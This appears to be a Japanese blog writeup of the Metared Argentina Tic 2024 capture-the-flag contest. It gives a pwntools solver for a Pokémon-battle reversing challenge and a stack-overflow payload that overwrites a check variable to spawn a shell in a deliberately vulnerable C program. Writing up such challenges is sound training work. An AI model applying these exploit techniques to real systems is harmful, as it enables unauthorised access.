All Articles

Metared Argentina Tic 2024 Writeup

Metared Argentina Tic 2024 という CTF に参加しました。

Rev がほぼなく、Pwn もずっと鯖落ちしていてあまり楽しい CTF ではなかったですが雑に Writeup を書きます。

Baby rev(Rev)

Meet my expectations to get the flag

バイナリ解析すると /tmp/superSecretDirectory/SuperDuperSecretFlag.txt というファイルを生成しようとしていることがわかります。

superSecretDirectory ディレクトリを作成した後にプログラムを実行することで Flag を取得できました。

image-20241108202617509

Poke 2: Can you defeat Gary?(Rev)

ポケモンバトルに勝利すると Flag が取れるようですが、普通にコマンドを入力しても相手が強すぎて勝てません。

しかし、5 番のアイテムを選択肢に存在しない 7 番に対して使用すると、戦闘に勝利できます。

image-20241108210729888

以下の Solver で Flag を取得できました。

from pwn import *

# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "sp", "-s", ".75", "-d", ".", "wsl.exe", '-d', "Ubuntu", "bash", "-c"]

# Set target
TARGET_PATH = "./pokemaster"
exe = ELF(TARGET_PATH)

# Run program
is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    target = remote("pokemaster.ctf.cert.unlp.edu.ar", 35001, ssl=False)
    # target = process(TARGET_PATH)

# Exploit
payload = b"3"
target.sendline(payload)

payload = b"5"
target.sendline(payload)

payload = b"7"
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

Warmup(Pwn)

以下のソースコードが与えられます。

// gcc -Wall -fno-stack-protector -z execstack -no-pie -o reto reto.c
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
 
int main()
{
 
  int var;
  int check = 0x12345678;
  char buf[20];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x12345678) && (check != 0x54524543))
    printf ("\nClooosse!\n");
 
  if (check == 0x54524543)
   {
     printf("Yeah!! You win!\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Byee!\n");
   }
   return 0;
}

シンプルに以下でエクスプロイトが通りました。(12 時間たっても鯖落ちしていたため Flag は取得せず、、、)

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT" | ./reto